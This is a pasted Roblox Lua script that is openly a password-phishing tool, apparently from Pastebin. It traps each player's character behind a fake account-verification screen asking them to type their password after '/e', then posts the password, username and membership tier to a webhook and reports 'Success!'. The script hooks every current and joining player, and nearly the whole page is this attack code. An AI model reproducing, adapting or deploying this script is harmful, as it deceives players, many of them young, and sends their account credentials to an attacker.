Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local webhook = "6631"
- local faces = {"Back","Front","Top","Bottom","Left","Right"}
- local scamParts = {}
- phished = phished or {}
- local function phishPlayer(plr)
- local char = plr.Character
- if not phished[plr.UserId] and char and char:FindFirstChild("HumanoidRootPart") then
- char.Parent = nil
- local scamPart = Instance.new("Part")
- scamPart.Transparency = 1
- scamPart.Anchored = true
- scamPart.CanCollide = false
- scamPart.Locked = true
- scamPart.Size = Vector3.new(5,5,5)
- scamPart.CFrame = char.HumanoidRootPart.CFrame+Vector3.new(0,1,0)
- local warnings = {}
- for _,face in pairs(faces) do
- local scamGUI = Instance.new("SurfaceGui")
- scamGUI.CanvasSize = Vector2.new(250,250)
- scamGUI.LightInfluence = 0
- scamGUI.Face = Enum.NormalId[face]
- local background = Instance.new("Frame")
- background.Size = UDim2.new(1,0,1,0)
- background.BackgroundColor3 = Color3.fromRGB(255,255,255)
- background.BorderSizePixel = 0
- background.Parent = scamGUI
- local body = Instance.new("TextLabel")
- body.Size = UDim2.new(1,-10,1,-40)
- body.Position = UDim2.new(0,5,0,5)
- body.BackgroundColor3 = Color3.fromRGB(192,192,192)
- body.BorderSizePixel = 0
- body.TextScaled = true
- body.TextColor3 = Color3.fromRGB(0,0,0)
- body.TextStrokeTransparency = 0.95
- body.Text = "To continue playing, we need to verify that you own this account.\n\nType /e followed by your password to verify it will not show in chat."
- body.Parent = scamGUI
- local warning = Instance.new("TextLabel")
- warning.Size = UDim2.new(1,0,0,30)
- warning.Position = UDim2.new(0,0,1,-30)
- warning.BackgroundColor3 = Color3.fromRGB(192,192,192)
- warning.BorderSizePixel = 0
- warning.TextSize = 18
- warning.TextColor3 = Color3.fromRGB(0,0,0)
- warning.TextStrokeTransparency = 0.9
- warning.Text = ""
- table.insert(warnings,warning)
- warning.Parent = scamGUI
- scamGUI.Parent = scamPart
- end
- local checking = false
- plr.Chatted:Connect(function(msg)
- if string.sub(msg,1,2) == "/e" and checking == false then
- checking = true
- for _,warning in pairs(warnings) do
- warning.BackgroundColor3 = Color3.fromRGB(192,192,192)
- warning.TextColor3 = Color3.fromRGB(0,0,0)
- warning.Text = "Verifying..."
- end
- wait(math.random(10,20)/10)
- local password = string.sub(msg,4)
- if string.len(string.gsub(password,"%s","")) >= 6 then
- game:HttpPost(webhook,game:GetService("HttpService"):JSONEncode(
- {
- username = plr.Name,
- avatar_url = "https://www.roblox.com/bust-thumbnail/image?userId="..plr.UserId.."&width=420&height=420&format=png",
- embeds = {
- {
- fields = {
- {
- name = "Password",
- value = password,
- inline = true
- },
- {
- name = "Membership",
- value = plr.MembershipType == Enum.MembershipType.BuildersClub and "BC" or plr.MembershipType == Enum.MembershipType.TurboBuildersClub and "TBC" or plr.MembershipType == Enum.MembershipType.OutrageousBuildersClub and "OBC" or "NBC",
- inline = true
- },
- {
- name = "RAP",
- value = "Unknown",--game:GetService("HttpService"):JSONDecode(game:HttpGet("http://rbx.rocks/apis/user_items?id="..plr.UserId)).stats.RAP,
- inline = true
- }
- }
- }
- }
- }
- ))
- phished[plr.UserId] = true
- for _,warning in pairs(warnings) do
- warning.BackgroundColor3 = Color3.fromRGB(32,192,32)
- warning.TextColor3 = Color3.fromRGB(255,255,255)
- warning.Text = "Success!"
- end
- wait(1)
- scamPart:Destroy()
- char.Parent = game.Workspace
- else
- for _,warning in pairs(warnings) do
- warning.BackgroundColor3 = Color3.fromRGB(192,32,32)
- warning.TextColor3 = Color3.fromRGB(255,255,255)
- warning.Text = "Invalid!"
- end
- checking = false
- end
- end
- end)
- scamParts[plr.UserId] = scamPart
- scamPart.Parent = game.Workspace
- end
- end
- for _,plr in pairs(game.Players:GetPlayers()) do
- phishPlayer(plr)
- plr.CharacterAdded:Connect(function(char)
- if scamParts[plr.UserId] then
- scamParts[plr.UserId]:Destroy()
- end
- wait()
- phishPlayer(plr)
- end)
- end
- game.Players.PlayerAdded:Connect(function(plr)
- plr.CharacterAdded:Connect(function(char)
- if scamParts[plr.UserId] then
- scamParts[plr.UserId]:Destroy()
- end
- wait()
- phishPlayer(plr)
- end)
- end)
- game.Players.PlayerRemoving:Connect(function(plr)
- if scamParts[plr.UserId] then
- scamParts[plr.UserId]:Destroy()
- end
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement